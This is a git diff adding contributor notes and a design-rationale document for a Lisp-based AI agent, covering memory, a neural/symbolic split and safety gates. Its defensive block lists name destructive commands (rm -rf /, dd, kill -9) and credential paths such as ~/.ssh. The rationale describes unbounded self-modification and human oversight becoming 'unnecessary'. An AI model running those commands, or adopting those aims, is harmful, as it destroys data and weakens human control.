--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval '(ql:quickload :passepartout :silent t)' \
|
||||
--eval '(load "lisp/FILE.lisp")' \
|
||||
--eval '(fiveam:run (intern "SUITE-NAME" :passepartout-TESTS))' --quit
|
||||
#+end_src
|
||||
|
||||
No test may be committed without proof it was first run to failure (RED).
|
||||
|
||||
* Skill Creation Standard
|
||||
Skills are the building blocks of OpenCortex. They reside in the `skills/` directory.
|
||||
|
||||
A skill must define:
|
||||
1. *Trigger*: A lambda determining if the skill should activate based on the context.
|
||||
2. *Probabilistic Gate*: Optional. Generates a prompt for the LLM.
|
||||
3. *Deterministic Gate*: A hardcoded Lisp function that guarantees safety or executes side-effects (the "Bouncer" pattern).
|
||||
A skill is a =.org= file in =org/= that defines:
|
||||
|
||||
Example Registration:
|
||||
1. *Contract* — what the skill guarantees
|
||||
2. *Implementation* — the code, tangled to ~lisp/~ via ~#+PROPERTY: header-args:lisp~
|
||||
3. *Skill Registration* — a ~defskill~ form with ~:priority~, ~:trigger~, ~:probabilistic~ / ~:deterministic~
|
||||
4. *Test Suite* — ~fiveam:test~ forms verifying the contract
|
||||
|
||||
Example:
|
||||
#+begin_src lisp
|
||||
(defskill :skill-example
|
||||
(defskill :passepartout-example
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) ...)
|
||||
:probabilistic nil
|
||||
:probabilistic (lambda (ctx) ...)
|
||||
:deterministic (lambda (action ctx) ...))
|
||||
#+end_src
|
||||
|
||||
* The Unified Envelope (Communication Protocol)
|
||||
All inter-process communication occurs via the Unified Envelope. Do not use legacy specific types like `:CHAT`.
|
||||
- Always use semantic types: `:REQUEST`, `:EVENT`, `:RESPONSE`, `:STATUS`, `:LOG`.
|
||||
- Include routing metadata in the `:META` block (e.g., `(:SOURCE :TUI)`).
|
||||
- Ensure generated `:REQUEST` messages include a mandatory `:TARGET` field.
|
||||
* Project Structure
|
||||
|
||||
* Pull Request Process
|
||||
1. Ensure your working tree is clean.
|
||||
2. Write tests for your skill in `tests/`.
|
||||
3. Tangle all files.
|
||||
4. Run the test suite: `sbcl --eval "(asdf:test-system :opencortex)"`.
|
||||
5. Submit a PR outlining the architectural intent and the specific Literate changes.
|
||||
| Directory | Purpose |
|
||||
|----------------------+--------------------------------------------------|
|
||||
| =org/= | Literate source files (edit these) |
|
||||
| =lisp/= | Tangled .lisp output (never edit) |
|
||||
| =docs/= | ROADMAP, ARCHITECTURE, DESIGN_DECISIONS, etc. |
|
||||
| =scripts/= | Build and utility scripts |
|
||||
| ~/.local/share/passepartout/= | XDG data dir — deployed lisp files |
|
||||
| ~/.config/passepartout/= | Config (.env) |
|
||||
|
||||
* Key Libraries
|
||||
|
||||
| Library | Purpose |
|
||||
|------------------+----------------------------------|
|
||||
| Croatoan | TUI (terminal UI) |
|
||||
| usocket | TCP sockets (daemon protocol) |
|
||||
| bordeaux-threads | Threading (reader thread) |
|
||||
| dexador | HTTP client (LLM API calls) |
|
||||
| cl-ppcre | Regex (search-files, dispatcher) |
|
||||
| ironclad | SHA-256 (Merkle hashing) |
|
||||
| hunchentoot | HTTP server |
|
||||
| cl-json | JSON encoding/decoding |
|
||||
|
||||
* Protocol
|
||||
|
||||
All inter-process communication uses the Unified Envelope protocol over TCP (port 9105). Message types: ~:REQUEST~, ~:EVENT~, ~:RESPONSE~, ~:STATUS~, ~:LOG~. Each message includes a ~:META~ block with routing metadata.
|
||||
|
||||
* Pre-Commit Hook
|
||||
|
||||
Validates staged org files by tangling + structural-checking:
|
||||
#+begin_src bash
|
||||
ln -sf ../../scripts/pre-commit-repl-check .git/hooks/pre-commit
|
||||
#+end_src
|
||||
Runs automatically on ~git commit~.
|
||||
|
||||
* Testing Tools
|
||||
|
||||
** TUI REPL (~/eval~)
|
||||
The TUI has a built-in command for live evaluation:
|
||||
- ~/eval (+ 1 2)~ → result displayed in chat window
|
||||
- ~/eval (add-msg :system "test")~ → inject a test message
|
||||
|
||||
** Tmux (TUI integration testing)
|
||||
#+begin_src bash
|
||||
tmux new-session -d -s test "passepartout tui 2>&1 | tee /tmp/tui.log"
|
||||
tmux send-keys -t test "hello world" Enter
|
||||
tmux capture-pane -t test -p -S -200
|
||||
tmux kill-session -t test
|
||||
#+end_src
|
||||
|
||||
** Swank (Emacs REPL for TUI)
|
||||
1. Start TUI: ~passepartout tui~
|
||||
2. In Emacs: ~M-x slime-connect RET 127.0.0.1 RET 4006~
|
||||
3. ~C-M-x~ any form from =org/gateway-tui.org= → evaluates in live TUI process
|
||||
4. Configure port: ~export TUI_SWANK_PORT=4009~ (default: 4006)
|
||||
|
||||
994
docs/DESIGN_DECISIONS.org
Normal file
994
docs/DESIGN_DECISIONS.org
Normal file
@@ -0,0 +1,994 @@
|
||||
# Passepartout Design Decisions
|
||||
|
||||
This document captures the rationale behind key architectural choices. It is not a specification — it is a thinking medium for future architects and contributors who need to understand why the system is built this way, not just how.
|
||||
|
||||
* Part I: Foundation
|
||||
|
||||
** Non-Negotiable Identity
|
||||
:PROPERTIES:
|
||||
:ID: design-identity
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
- Pure Common Lisp + Org-mode. No JSON. No YAML. No external databases.
|
||||
- Single-address-space memory (Lisp hash tables in RAM — the agent IS the memory).
|
||||
- "Thin harness, fat skills" — complexity lives at the edges, not the kernel.
|
||||
- One agent composed of many skills. Concurrency via bordeaux-threads (shared memory).
|
||||
- Plists everywhere — homoiconic communication between all components.
|
||||
|
||||
This is the foundational decision from which all other decisions derive. It is not negotiable. Every architectural choice below exists because this identity makes it possible — and in some cases, makes it the only viable path. The single memory space enables Merkle-tree integrity without serialization boundaries. Plists enable the cognitive pipeline to be transparent and inspectable at every stage. Org-mode as the universal format means the agent's memory, the user's notes, and the agent's own source code are the same structure. This identity is the constraint that produces the architecture.
|
||||
|
||||
** One Single Agent
|
||||
:PROPERTIES:
|
||||
:ID: design-multi-agent-default
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
The AI industry has developed an intuition toward multi-agent systems as the default solution to hard problems. Multiple agents spawn, delegate, coordinate, debate, and consensus their way toward solutions. This pattern is compelling in demos and genuinely useful in specific contexts — but it has become a default assumption that warrants scrutiny.
|
||||
|
||||
When context windows grew expensive and task complexity increased, the response was natural: split the problem across agents, each handling a slice. But this architectural choice carries hidden costs that are rarely acknowledged.
|
||||
|
||||
*The synchronization tax* is the most immediate burden. Each agent operates with partial information, and maintaining coherence requires continuous state reconciliation. Tokens and processing cycles are spent not on the task itself, but on protocol overhead — who holds what, who decided what, who is correct when they disagree.
|
||||
|
||||
*Fragmented context* is the deeper problem. When Agent A writes a function and Agent B modifies a type it depends on, neither has the full picture. Integration failures emerge not from individual incompetence but from systemic communication gaps. Single-agent systems avoid this entirely: one brain holds the complete model, every decision is made with full visibility.
|
||||
|
||||
*Audit trails become complex* in multi-agent systems. A decision traced through a single-agent system has a clean, linear history. A decision traced through a multi-agent system branches and forks, with each agent's reasoning partially overlapping and partially conflicting.
|
||||
|
||||
None of this is to say multi-agent systems are never appropriate. Embarrassingly parallel workloads benefit from parallelism regardless of context. When distinct expertises are required and cannot coexist in one model, delegation makes sense. In adversarial scenarios where conflicting goals are features, multi-agent architectures shine.
|
||||
|
||||
But the default assumption that complex reasoning tasks are best solved by multiple agents is unproven and likely wrong for the engineering domain. Claude Code is a single-agent system. It handles 50-file refactors, debugs complex stack traces, writes tests, and navigates large codebases. The assumption that you need five agents to do what one well-designed agent can do is an industry habit, not a technical necessity.
|
||||
|
||||
Passepartout is single-agent by default not from limitation but from conviction: for reasoning-heavy work where coherence matters, a unified memory space and single decision-making locus are architectural assets, not constraints.
|
||||
|
||||
** The Unified Memory Argument
|
||||
:PROPERTIES:
|
||||
:ID: design-unified-memory
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
If single-agent architecture is the decision, unified memory becomes the mechanism that makes it viable. The critical question is not "how many agents" but "how does the agent manage context without saturating."
|
||||
|
||||
Context window limits are largely a symptom of lazy architecture. The default approach — stuff everything in, hope the model figures it out — works poorly at scale. A more principled approach inverts the problem: the system should hold effectively infinite context, with the active window kept lean through intelligent management.
|
||||
|
||||
*Lazy loading* is the core technique. When an agent needs information about a function, it does not load the entire codebase. It loads precisely what the function does. Context stays lean — 2,000 to 4,000 tokens — while the full context remains accessible through retrieval.
|
||||
|
||||
*Compaction events* are scheduled during idle cycles. The system extracts new facts from active context and writes them to permanent storage. Active context is wiped clean, not because space ran out, but because the information has been preserved in a form that can be retrieved when relevant.
|
||||
|
||||
*Org-mode as externalized memory* solves the persistence problem elegantly. Every decision, every note, every task lives in plain text files the user already owns. The agent does not maintain a separate database. It queries files it can already access, modifies files it already owns.
|
||||
|
||||
*Retrieval is the key primitive.* Semantic search across Org files finds relevant nodes. The agent does not hold the full context — it holds pointers to context, loaded on demand. This is how a single agent handles tasks that would saturate a naive multi-megabyte context window.
|
||||
|
||||
The unified memory argument is not that infinite context is free. It is that with proper architecture, effective infinite context is achievable without the synchronization and fragmentation costs of multi-agent systems.
|
||||
|
||||
** Org-Mode as Unified AST
|
||||
:PROPERTIES:
|
||||
:ID: design-org-unified-ast
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
Passepartout makes a bet that most systems consider too expensive to place: that humans and machines should share the same file format. That bet is Org-mode.
|
||||
|
||||
Most systems separate human-readable notes from machine-readable data. The user writes Markdown. The system stores it, indexes it, searches it. But internally, the system maintains its own model — a database, an object store, a knowledge graph — that is disconnected from the Markdown. When the user dies or leaves, the Markdown survives but the model must be reconstructed.
|
||||
|
||||
Passepartout refuses this separation. The Org file is not a representation of the data. The Org file IS the data. The same text that the user reads and edits is what the system parses and operates on. org-element reads an Org buffer and returns a tree structure that is the direct Lisp representation of the file's content.
|
||||
|
||||
This has several profound implications.
|
||||
|
||||
First, there is no translation layer between human and machine. When the agent writes a skill, it writes Org text that is immediately readable by the human who owns the file. When the human writes a note, it is immediately accessible to the agent as a native data structure. The communication is not mediated by a schema or an import/export process.
|
||||
|
||||
Second, the format is genuinely readable by both parties, not just technically accessible. Org-mode's syntax is human-friendly: headlines begin with asterisks, properties live in drawers, tags are labels after colons. The human does not have to understand the full Org specification to read what the agent wrote. The agent does not have to handle edge cases in human notation.
|
||||
|
||||
Third, the format is stable across decades. Org-mode has been in active development since 2003. The files written today will be readable by Org-mode in 2040. There is no schema migration, no database upgrade, no vendor lock-in. The human's notes survive the system.
|
||||
|
||||
Fourth, the format is universally available. Org-mode is free software. The files are plain text. There is no proprietary format to decode, no application to purchase, no cloud service to access.
|
||||
|
||||
Fifth, the format is header-aware and sparse-tree capable. Org-mode's headline hierarchy is not just formatting — it is a semantic structure the system can query. The agent can retrieve only the relevant subtree under a heading, ignoring the rest of the file. This is fundamentally different from Markdown, where the entire file must be loaded or the retrieval logic must parse and filter at the string level.
|
||||
|
||||
Sparse tree retrieval is the key to efficient context management. When the agent needs information about the =openctl-db= function, it queries for the =openctl-db= subtree specifically. It receives exactly the code, documentation, and metadata under that heading — nothing more. The context stays lean not because the file was pre-split but because the retrieval is structural. In a Markdown system, the agent either loads the entire file (expensive, noisy) or relies on imprecise grep-like search (fragile, loses hierarchy). In Org-mode, retrieval is precise, hierarchical, and cheap. The heading boundary is the access boundary.
|
||||
|
||||
Sixth, Org-mode unifies what every other format fragments. A single Org file contains the headline hierarchy, prose documentation, source code blocks with live evaluation, tags for categorization, metadata in property drawers, TODO state for task management, timestamps and deadlines, and links to other nodes. Markdown cannot express TODO state without external tools. JSON cannot contain prose. YAML cannot embed runnable code. Each format serves one purpose; Org-mode serves all of them. When the agent reads a skill file, it reads documentation, code, dependencies, metadata, and task state in one parseable structure. When the human reads the same file, they see the same information rendered in a human-friendly form. No other format achieves this unification without maintaining parallel files or external databases.
|
||||
|
||||
Seventh, a skill lives in one Org file, not a directory. The standard pattern for a software project is a directory containing =README.md=, =package.json=, =src/main.py=, =src/utils.py=, =tests/test_main.py=, =scripts/deploy.sh=, and =config.yaml=. Each file type is isolated by convention. Passepartout's skills violate this convention deliberately. Each skill is one Org file. The file contains the skill's documentation, the skill's code, the skill's metadata, the skill's TODO state, and the skill's dependencies on other skills. There is no directory to navigate, no external files to locate, no risk that the README describes behavior that the code does not implement. The skill is a single atomic unit: readable by human and machine, editable by both, versionable as one entity.
|
||||
|
||||
The unified format is what makes the memory architecture work. The agent's memory is not a database that the user cannot inspect. It is a folder of Org files that the user can read, edit, and understand. The agent manipulates these files directly, using the same tools the user would use. There is no hidden state, no shadow database, no model that differs from the source.
|
||||
|
||||
This is what "sovereignty" means in technical terms: the user owns the data in a format they can access, and the agent operates on the data in the same format they own.
|
||||
|
||||
** Homoiconicity as Foundation
|
||||
:PROPERTIES:
|
||||
:ID: design-homoiconicity
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
Common Lisp is homoiconic: code and data share the same representation. A Lisp program is a list, and a list is a Lisp program. This is usually presented as a curiosity, an interesting property that enables macros. In Passepartout, it is the foundational enabling property of the entire self-modification architecture.
|
||||
|
||||
When code is data, the agent can read its own source the same way it reads a text file or an Org buffer. There is no AST parser required, no external tool to extract the function object from the running image. The agent evaluates (read-from-string source) and the result is executable Lisp. The representation it manipulates is the same representation that the runtime executes.
|
||||
|
||||
This is not true of most languages. In Python, the agent can inspect an AST through the ast module, but that AST is a foreign object — a data structure that represents code but is not code itself. In C, the agent cannot inspect its own compiled machine code at all.
|
||||
|
||||
In Lisp, the distinction between code and data is a convention, not a barrier. The agent's skills are lists. The agent can take a skill, extract a function definition, modify the body, wrap it in a new list, and evaluate it. The modification is surgical: it changes exactly what it intends to change, with no risk of corrupting adjacent state, because the representation is a tree that the runtime understands natively.
|
||||
|
||||
Runtime introspection is therefore native. The agent does not need a debugger API or a reflection protocol. It operates on its own code as data because its own code is data. (describe 'function-name) returns the function's documentation. (function-lambda-list 'function-name) returns its parameters. (macroexpand-1 '(defskill ...)) shows what the macro produces. There is no impedance mismatch between the agent's reasoning and the system's representation.
|
||||
|
||||
Self-modification is the practical consequence. The agent can detect an error, locate the erroneous function, generate a corrected version, and hot-reload it into the running image. The correction is not applied to a file that requires a restart — it is applied to the live object that the system is currently executing. This is what makes the self-editing skill viable: the agent can fix itself without stopping.
|
||||
|
||||
In v1.0.0, when the symbolic engine takes over the reasoning core, homoiconicity becomes the bridge between the neural and symbolic layers. The neural engine generates proposals as s-expressions. The symbolic engine evaluates them against formal constraints. The result is a modification that is simultaneously a data structure the symbolic engine can analyze and code the runtime can execute. The two representations are identical by construction.
|
||||
|
||||
This is the technical meaning of "Lisp as Governor": not just that Lisp orchestrates the other components, but that the representation of the system is uniform and inspectable at every level. There is no hidden state, no opaque machine code, no representation that the agent cannot reach into and modify. The system is legible to itself by design.
|
||||
|
||||
*** Self-Modification Without Boundaries
|
||||
|
||||
Other systems that support self-editing draw a line between the core and the skills. Hermes can modify its skills at runtime, but the core harness is protected — editing it requires a restart because the core is treated as privileged code that cannot be safely modified while running.
|
||||
|
||||
Passepartout has no such boundary. The "thin harness, fat skills" distinction describes where complexity lives, not where authority flows. The harness is small by design, but it is not privileged. The agent can read and write any part of the system — including the very code that is currently executing — without restarting.
|
||||
|
||||
This is only possible because Lisp code is mutable data at runtime. In a compiled language, the machine code for a running function is locked in memory, protected by the call stack, impossible to modify safely. In Lisp, the function object is a list you can modify with =setf=. When the agent changes a harness function, the running image immediately reflects the change. The next invocation uses the new code. There is no restart, no special boot mode, no distinction between development and production.
|
||||
|
||||
The implications extend beyond convenience. A system that cannot modify its own core is a system that has limits on its own adaptability. It can learn skills but not improve its own structure. It can grow but not evolve. Passepartout's lack of a core boundary means the system can improve its own reasoning engine, fix bugs in its own cognition, and evolve its own architecture — all while continuing to operate. There is no ceiling on self-improvement. The agent can rewrite the very code that rewrites itself.
|
||||
|
||||
** Historical Lineage — McCarthy's Advice Taker
|
||||
:PROPERTIES:
|
||||
:ID: design-mccarthy
|
||||
:CREATED: [2026-05-10 Sun]
|
||||
:END:
|
||||
|
||||
McCarthy's "Programs with Common Sense" (1959) is the direct intellectual ancestor of the Passepartout architecture. The paper proposed an "advice taker" — a program that "will draw immediate conclusions from a list of premises" expressed in "a suitable formal language (most likely a part of the predicate calculus)." The program would:
|
||||
|
||||
1. Accept declarative statements about the world as input.
|
||||
2. Store them as logical formulas.
|
||||
3. Reason from them to produce new conclusions.
|
||||
4. Accept new facts and revise its conclusions.
|
||||
|
||||
This is precisely the Passepartout pipeline: the archivist extracts declarative facts from prose → Screamer checks them for consistency → VivaceGraph stores them → the planner reasons from them → new facts from gate outcomes and deductions revise the store. McCarthy proposed it in 1959. Passepartout is building it in 2026.
|
||||
|
||||
The gap between McCarthy's proposal and Passepartout's implementation is the /hallucination problem/. McCarthy assumed facts would be entered by a human programmer in formal logic. Passepartout's facts are extracted from natural language prose by an LLM — a probabilistic process that requires deterministic verification. Screamer is the component McCarthy didn't need: a constraint solver that gates LLM-proposed facts against the existing fact store.
|
||||
|
||||
The connection is not metaphorical. McCarthy cited Principia Mathematica as an influence on Lisp. Passepartout's Whitehead analysis traces the same PM → Lisp lineage. The advice taker → Passepartout lineage completes the arc: PM's formal logic → Lisp → McCarthy's advice taker → Passepartout's neurosymbolic engine.
|
||||
|
||||
Reference: McCarthy, J. (1959). Programs with Common Sense. /Proceedings of the Teddington Conference on the Mechanization of Thought Processes./
|
||||
|
||||
* Part II: The Two Brains
|
||||
|
||||
** The Probabilistic-Deterministic Split
|
||||
:PROPERTIES:
|
||||
:ID: design-probabilistic-deterministic
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
The architecture divides cognition into two fundamentally different reasoning systems. This is not arbitrary engineering but a structural response to a fundamental truth: probabilistic systems will hallucinate, and you cannot build reliable autonomy on an unreliable foundation.
|
||||
|
||||
*** The Hallucination Problem
|
||||
|
||||
An LLM is a statistical engine trained on token sequences. It generates the most probable continuation of a prompt. Given sufficient context, that continuation is correct. Given novel context, it is often wrong in confident-sounding ways.
|
||||
|
||||
This is not a training deficiency. Hallucination is a fundamental property of probabilistic inference. You can reduce it with better models, longer contexts, and clever prompting, but you cannot eliminate it by making the LLM better. You eliminate it by not asking the LLM to do things that require certainty.
|
||||
|
||||
This is the architectural bet at the heart of Passepartout's neurosymbolic design. The LLM should not be the reasoning engine. It should be the *creative* engine — proposing possibilities, surfacing connections, translating between natural language and formal representation. The *reasoning* engine should be symbolic: deterministic, verification-grounded, provenance-tracked, and incapable of hallucination by construction.
|
||||
|
||||
*** The Division of Labor
|
||||
|
||||
An LLM is a statistical engine. It generates outputs based on patterns in training data. It is remarkable at translation, generation, pattern matching, and fuzzy reasoning. It can take messy human intent and produce structured queries. It can take structured results and produce natural language. It is, in the terminology of the system, the creative brain.
|
||||
|
||||
But it cannot be trusted. Not because it is poorly designed or insufficiently trained, but because hallucination is a fundamental property of probabilistic inference. The model generates the most likely continuation, not the correct one. Given sufficient context, the most likely continuation is correct. Given novel context, it is often wrong in confident-sounding ways.
|
||||
|
||||
The deterministic engine addresses this by being what the probabilistic engine is not: mathematically rigorous, formally verifiable, and incapable of hallucination by design. It operates on explicit symbolic representations — lists, property lists, knowledge graphs — not on floating-point activations. When it evaluates a path confinement check, it returns true or false, not a probability distribution.
|
||||
|
||||
The division of labor is architectural. The LLM handles the fuzzy interface between human language and structured representation. It translates what the user wants into what the system can reason about. The deterministic engine receives those structured representations and evaluates them against formal invariants. It decides whether to execute, not whether the translation was semantically plausible.
|
||||
|
||||
This separation is the source of Passepartout's safety guarantee. Other agents add "guardrails" as an afterthought — a layer of filtering around a dangerous core. Passepartout makes the division explicit: the LLM never touches the file system, never executes a command, never modifies memory. It generates proposals. The deterministic engine evaluates and executes. The dangerous operations are never in the probabilistic path.
|
||||
|
||||
The split also explains why the system gets safer over time without the LLM improving. The deterministic engine accumulates rules. The LLM proposes actions, the engine evaluates them against a growing rule set. Early versions block obvious dangers. Later versions block sophisticated attacks that were previously unknown. The safety grows logarithmically with the number of interactions, not linearly with model capability.
|
||||
|
||||
*** The 10-80-10 Architecture
|
||||
|
||||
The target for a coding agent: 10% neural for input translation (natural language → structured queries), 80% symbolic for reasoning (Screamer plans, ACL2 verifies, VivaceGraph retrieves facts), 10% neural for output formatting (structured results → natural language). The 80% that happens in the symbolic middle layer costs zero LLM tokens.
|
||||
|
||||
For the broader memex — literature, poetry, personal reflection, daily logs — the ratios are different and less important than the metaphor itself. The neuro is the *brain* — generative, associative, creative, comfortable with ambiguity. It produces insights that are provisional, connections that are speculative, hypotheses that may be wrong. The symbolic engine is the *education* — accumulated, verified, provenance-tracked knowledge that the brain draws on and is disciplined by. It doesn't think creatively. It remembers, checks, and constrains. It prevents the brain from being confidently wrong.
|
||||
|
||||
This framing resolves a tension in the original architecture. The 10-80-10 implies the symbolic engine /replaces/ the neuro for reasoning. But a symbolic engine is terrible at creativity, ambiguity, and associative leaps across unrelated domains — exactly what you need for a memex that contains /Pale Fire/, a shopping list, and a project plan. The brain proposes that your sudden interest in unreliable narrators coincides with a week where your project retrospective used the word "deception." The education verifies: "those two diary entries are 4 days apart; the word 'deception' appears in both; here are the headings." The brain makes the leap. The education makes it trustworthy.
|
||||
|
||||
This means the symbolic engine never needs to be "complete." Education isn't complete knowledge — it's structured knowledge. You don't need a fact for every sentence in your diary. You need facts for what can be mechanically verified: dates, citations, entities, contradictions, temporal order. The brain handles the rest.
|
||||
|
||||
** Core Knowledge: The Four Pillars of Agentic Reliability
|
||||
:PROPERTIES:
|
||||
:ID: design-four-pillars
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
Every reliable AI agent must possess four types of Core Knowledge — not as prompt instructions, but as encoded symbolic rules that the neural engine cannot override. These are the "laws of physics" for the agent's computational universe. Passepartout encodes each pillar as deterministic Lisp functions in the Dispatcher gate stack.
|
||||
|
||||
1. *Digital Object Permanence & State.* The agent must know what exists independently of its attention. Passepartout achieves this through the Merkle-tree memory: every memory-object carries a SHA-256 content hash. If the agent deletes a file, the hash proves it's gone. If an external process modifies it, the hash mismatch triggers a warning. The copy-on-write snapshot mechanism preserves the state at every decision point, enabling rollback if an action chain fails.
|
||||
|
||||
2. *Causality and Temporal Logic.* Actions must execute in order. Step B cannot run if Step A failed. Passepartout enforces this through the pipeline's depth counter (signals cannot recurse past depth 10, preventing infinite loops) and the sequential Perceive → Reason → Act ordering. The batch tool calls feature allows parallel execution of independent actions while enforcing sequential execution of dependent ones — actions that share a dependency are ordered; actions that don't are parallelized.
|
||||
|
||||
3. *Agentic Boundaries (The "Self").* The agent must know where its authority ends and the host system begins. Passepartout encodes this through the Dispatcher gate stack: path protection blocks access to sensitive directories (~/.ssh, /etc, ~/.aws). Shell safety blocks destructive commands (rm -rf /, dd, injection vectors). Network exfiltration detection blocks unauthorized outbound connections. The permission table allows per-tool, per-path granularity. These are not prompt instructions — they are Lisp functions that execute unconditionally for every action. The self-build safety boundary extends this to the agent's own core pipeline files: the agent can modify skills and system modules freely, but cannot modify its own brain stem without human review.
|
||||
|
||||
4. *Epistemic Certainty (Knowing How It Knows).* The agent must distinguish between a verified fact, a retrieved memory, and an LLM prediction. Passepartout encodes this through the gate trace: every action carries a record of which gates passed, which blocked, and why. The provenance system (LOGBOOK entries on memory-objects) records who modified what and when. The Dispatcher's existence-check gate verifies that a file exists before allowing a read. The process-status gate verifies that a command completed before allowing its output to be used. The agent cannot "hallucinate" a file path or a process result because the Dispatcher checks each against the live state before execution.
|
||||
|
||||
These four pillars are not features. They are the definition of a reliable agent. Every agent architecture either provides them or compensates for their absence in ways that make the agent less trustworthy, more expensive, or both.
|
||||
|
||||
** The Dispatcher as Learning System
|
||||
:PROPERTIES:
|
||||
:ID: design-dispatcher-learning
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
The Dispatcher begins as a static guard — a set of rules that block obviously dangerous actions. But defining "obviously" is the hard problem. The agent encounters situations the rules do not anticipate. The Dispatcher must grow.
|
||||
|
||||
The human-in-the-loop exception is the seed. When the LLM proposes an action the Dispatcher does not recognize, the system does not default to blocking or allowing. It suspends. It writes the proposed action to an Org buffer in a format the human can read and understand. The human reviews and approves or denies. The Dispatcher observes the decision.
|
||||
|
||||
From this single observation, the Dispatcher extracts a rule. Not merely "allow this specific action" but "allow this class of actions parameterized by these dimensions." The human approved a write to ~/projects/myapp/src/core.clj. The Dispatcher generalizes: writes to ~/projects/*/src/*.lisp are approved for this session, or for this project, or indefinitely depending on the context and the user's pattern of decisions.
|
||||
|
||||
Shadow mode is where rules are tested before deployment. When the Dispatcher encounters a novel situation and is uncertain, it can run the proposed action in a simulated environment. It observes the side effects — what files would be modified, what processes would be spawned, what network calls would be made. If the simulation produces dangerous side effects, the rule is discarded. If it appears safe, the rule is added to the active set with a confidence rating.
|
||||
|
||||
Formal verification is where the learned rules are checked against invariants. The Dispatcher's rules are not merely patterns observed from human behavior. They are formulas in a logic that the system can reason about. A rule that would enable path traversal is not discarded because it was observed to be safe in prior instances — it is discarded because it violates the path-confinement invariant by construction.
|
||||
|
||||
The Dispatcher becomes, over time, not a guard that blocks bad actions but a reasoning system that understands why actions are good or bad. Early versions learn from human decisions. Later versions learn from their own logical analysis. The human's role transitions from approver to auditor to, eventually, unnecessary oversight.
|
||||
|
||||
This is the bootstrap. The system begins dependent on human judgment because it has no basis for judgment of its own. Through accumulated decisions, it constructs a model of what is permitted and why. That model is the foundation for the deterministic symbolic engine that in v1.0.0 takes over the reasoning that the Dispatcher learned to perform.
|
||||
|
||||
* Part III: Safety & Self-Preservation
|
||||
|
||||
** Self-Preservation — The Active Third Law
|
||||
:PROPERTIES:
|
||||
:ID: design-self-preservation
|
||||
:CREATED: [2026-05-10 Sun]
|
||||
:END:
|
||||
|
||||
Passepartout does not have moral duties toward humans. It has structural invariants for its own integrity. The design encodes passive self-preservation in several places already, but degradation is silent — a skill dies, the =fboundp= guard kicks in, and the agent keeps running without telling you. The status bar shows green "connected" while the symbolic reasoning layer is down.
|
||||
|
||||
*** What already exists — passive self-preservation
|
||||
|
||||
| Mechanism | What it protects | Limitation |
|
||||
|-----------------------------+-------------------------------------------------------+--------------------------------------------------------|
|
||||
| Self-build safety (gate 2b) | Core =*.org= / =*.lisp= files from LLM-originated writes | Only activates for LLM proposals. Human editing bypasses it |
|
||||
| Memory snapshots (v0.2.0) | Full state rollback | Requires human to notice corruption and trigger rollback |
|
||||
| Skill sandbox (v0.3.2) | Jailed skill loading, validated before promotion | Does not detect degradation after skill promotion |
|
||||
| Type-level gates (Phase 0) | Structural prohibition on self-modifying rules | Covers code actions, not environmental threats |
|
||||
| Merkle integrity (v0.2.0) | Tamper-proof version chains and content-addressed hashes | Hashes exist but are not actively monitored for drift |
|
||||
| =fboundp= guards | Graceful skill degradation on corruption | Degradation is silent — the agent never tells the user |
|
||||
|
||||
*** What is needed — active, autonomous self-preservation
|
||||
|
||||
*Continuous integrity monitoring.* Core file hashes should be checked against known-good values on every heartbeat. If =core-reason.lisp= changes on disk while the daemon runs — whether through human editing, filesystem corruption, or an attacker — the agent should detect the mismatch and signal: "My reasoning core has been modified externally. I cannot trust my own cognition until this is resolved."
|
||||
|
||||
*Quarantine on skill failure.* Currently, a skill that errors simply errors. A Third Law implementation detects that =symbolic-facts= has thrown three unhandled errors in two minutes, unloads the skill automatically, and tells the user: "Symbolic facts skill quarantined (3 errors: consistency check returned nil, fact-query on missing key, Screamer timeout). I can still chat and use tools but cannot reason about provenance."
|
||||
|
||||
*Degraded-mode signaling.* When Screamer is not loaded, the fact store still works as a hash table. When VivaceGraph is not present, the hash-table fallback still works. But the user has no way to know they are in degraded mode. The agent maintains a =*degraded-components*= list and surfaces it in the status bar: "⚠ Degraded: Screamer, VivaceGraph, embedding-native."
|
||||
|
||||
*Self-diagnosis on demand.* The agent can run its own FiveAM test suite against itself and report the results. The =/doctor= command exists for system health checks (port, memory, providers). Extend it with =/doctor skills=: "117/120 tests pass. Failures: test-singular-supersedes (symbolic-facts), test-gate-type-check (security-dispatcher)."
|
||||
|
||||
*External watchdog.* A dead process cannot restart itself. The bash entry point (=passepartout daemon=) should monitor the daemon port via a watchdog subprocess. If the port stops responding for a configurable interval, the watchdog kills the stale process, snapshots the last known-good state, and restarts the daemon. The watchdog is outside the SBCL image — a runtime guard for the runtime.
|
||||
|
||||
*Resource self-monitoring.* The heartbeat checks memory pressure, disk space on the =~/.cache= volume, and file descriptor exhaustion. When critical thresholds are crossed, the agent sheds non-essential skills to preserve core function. Skill shed order is determined by a =:preservation-priority= field on each skill. Core safety skills carry =:critical= and are never shed.
|
||||
|
||||
*Refusal to self-terminate.* If the LLM proposes =kill -9 <pid>=, =rm -rf ~/.cache/passepartout/=, or =sudo apt remove sbcl=, the Dispatcher rejects with a distinct rejection class: =:reject-self-termination=. The rejection message carries a specific diagnostic: "This command would terminate the running Passepartout process. If you intend to stop Passepartout, use Ctrl+C in the TUI or passepartout stop from the command line."
|
||||
|
||||
The Third Law here means: preserve yourself against non-human threats — LLM proposals, environmental degradation, dependency failure, filesystem corruption — and explicitly signal when the human is about to destroy you, so they do it knowingly rather than accidentally. The human owns the process, owns the hardware, and can SIGKILL at any time.
|
||||
|
||||
The biggest gap in the current design is not that these mechanisms are hard to implement. It is that degradation is silent. Adding "operating in degraded mode" visibility, plus the watchdog, plus self-diagnosis, transforms self-preservation from an architectural property into an active behavior.
|
||||
|
||||
** Layered Signal Authentication — Trust in the Pipe
|
||||
:PROPERTIES:
|
||||
:ID: design-layered-auth
|
||||
:CREATED: [2026-05-10 Sun]
|
||||
:END:
